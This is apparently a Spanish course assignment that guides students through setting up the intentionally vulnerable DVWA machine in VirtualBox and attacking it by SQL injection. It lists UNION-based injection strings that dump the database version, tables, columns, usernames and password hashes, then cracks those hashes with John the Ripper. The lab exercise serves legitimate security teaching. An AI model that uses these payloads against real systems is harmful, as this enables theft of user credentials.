TAREA 2: SQL injection
En esta tarea vamos a usar la técnica SQL injection para obtener información relevante sobre la estructura de una base de datos. En concreto, vamos a obtener información de usuarios de un servidor (nombre de usuario, hash de la contraseña) a partir de un ataque de SQL injection.
Para ello necesitaras usar una máquina virtual preparada para el software de simulación VirtualBox. Si no tienes instalado VirtualBox puedes descargar el instalador desde la siguiente página web:
https://www.virtualbox.org/wiki/Downloads
En el caso de los sistemas GNU/Linux, la instalación se puede realizar a través del sistema de gestión de paquetes, aunque se recomienda usar las versiones más recientes disponibles en la web de VirtualBox (ya que algunos sistemas GNU/Linux tienen versiones algo más antiguas que no se han probado y no se garantiza que funcionen).
La máquina virtual (380MB) en formato 7-Zip lo podéis descargar a través del siguiente enlace: dvwa7z
Una vez descargada la máquina estos son los pasos a seguir:
- Descomprimir utilizando un software de compresión compatible con 7-Zip (puedes descargar este último desde su página web).
-
Entrar en la carpeta en la que se ha descomprimido el 7-zip de la máquina. Allí encontraremos unos ficheros llamados dvwa-windows.vbox (puede que la extensión esté oculta, dependiendo de la configuración del explorador de ficheros) y dvwa-linux. vbox.
-
Hacemos doble clic sobre el fichero que corresponda al sistema operativo que estemos usando en nuestro ordenador (p. ej. si estamos usando Linux hacemos doble clic sobre el fichero dvwa-linux.vbox).
-
Al hacer doble clic se importará la máquina virtual en VirtualBox.
-
Seleccionamos con el ratón la máqina que se llama “dvwa” y pulsamos sobre el botón llamado “Iniciar”:
6. Cuando termine de iniciarse la máquina virtual obtendremos la siguiente pantalla, donde se nos muestra la dirección IP que ha obtenido por DHCP, y que deberemos usar posteriormente para conectarnos a ella:
- Una vez ejecutada la máquina, anota la dirección IP y mediante el navegador web accede a la dirección http://direccionIP/login.php
- A continuación seguir las indicaciones de los apartados 7, 8 y 9 de ESTE ARTÍCULO.
Si quieres continuar con las secciones 10 y 11 del artículo, en las que se realiza el descubrimiento de contraseñas, necesitas la aplicación John The Ripper.
Obteniendo información de la Base de Datos:
Mostrar toda los récords que sean falsos y verdaderos:
%’ or ‘0’=’0
Obtener la versión del motor de Base deDatos:
%’ or 0=0 union select null, version() #
Mostar el usuario con el que se esta ejecutando la Base de Datos:
%’ or 0=0 union select null, user() #
Mostrar nombre de la Base de Datos:
%’ or 0=0 union select null, database() #
Mostrar todas las tablas del esquema:
%’ and 1=0 union select null, table_name from information_schema.tables #
Mostrar todas las tablas de usuario del esquema:
%’ and 1=0 union select null, table_name from information_schema.tables where table_name like ‘user%’#
Mostrar todos los campos de la tabla de usuarios:
%’ and 1=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name = ‘users’ #
Mostrar el contenido de los campos de la tabla de usuarios:
%’ and 1=0 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #
Luego de haber obtenido los nombres de usuarios y los hash de cada uno de ellos, podemos descifrarlos con la herramienta John the Ripper la cual podemos encontrar en las versiones de Kali Linux.
Descifrando los Password
Lo primero que debemos de hacer es colocar de la siguiente manera en un archivo .TXT tanto los nombre de usuarios como los passwords obtenidos.
Luego procedemos a guardar el archivo en una ubicación dentro de nuestro sistema operativo..
Una vez guardado el archivo procedemos a ejecutar el siguiente comando, seguido de la ubicación donde se encuentra nuestro archivo:
john –format=rawMD5 /ruta de nuestro archivo –show
De esta manera obtendremos los Password en texto plano, tal como podemos ver en la imagen siguiente:
Pingback: Tarea Final #MoocHackingMU – Team Geek RD